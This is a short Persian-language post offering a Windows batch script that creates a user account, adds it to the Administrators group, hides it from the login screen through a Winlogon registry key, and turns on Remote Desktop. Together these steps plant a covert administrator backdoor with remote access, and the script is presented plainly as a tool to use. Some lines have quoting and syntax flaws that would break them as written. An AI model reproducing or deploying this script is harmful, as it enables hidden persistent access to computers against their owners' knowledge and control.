این یه script ساده هست که از شما user و pass میگیره و رو computer یه اکانت کاربری با اون user و pass واستون میسازه و اونو مخفی میکنه از صفحه login ویندوز
کد:
@Echo Off
SET /P usr=[Enter new username here:]
SET /P pwd=[Enter new password here:]
:: SET /P takes the user input and puts it into the variable.
echo — Creating New User, “%usr%” with password “%pwd%” –
net user “%usr%” “%pwd%” /add
echo — Adding User to Group Administrator –
net localgroup Administrators %usr% /add
echo — User Is Now Administrator — >>
echo — Hidding User –
REG ADD HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v %usr% /t REG_DWORD /d 0 /f
echo — Activating Terminal Service –
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0
echo — Activating Terminal Service Done –
SET /P =Press Enter to continue . . .
Exit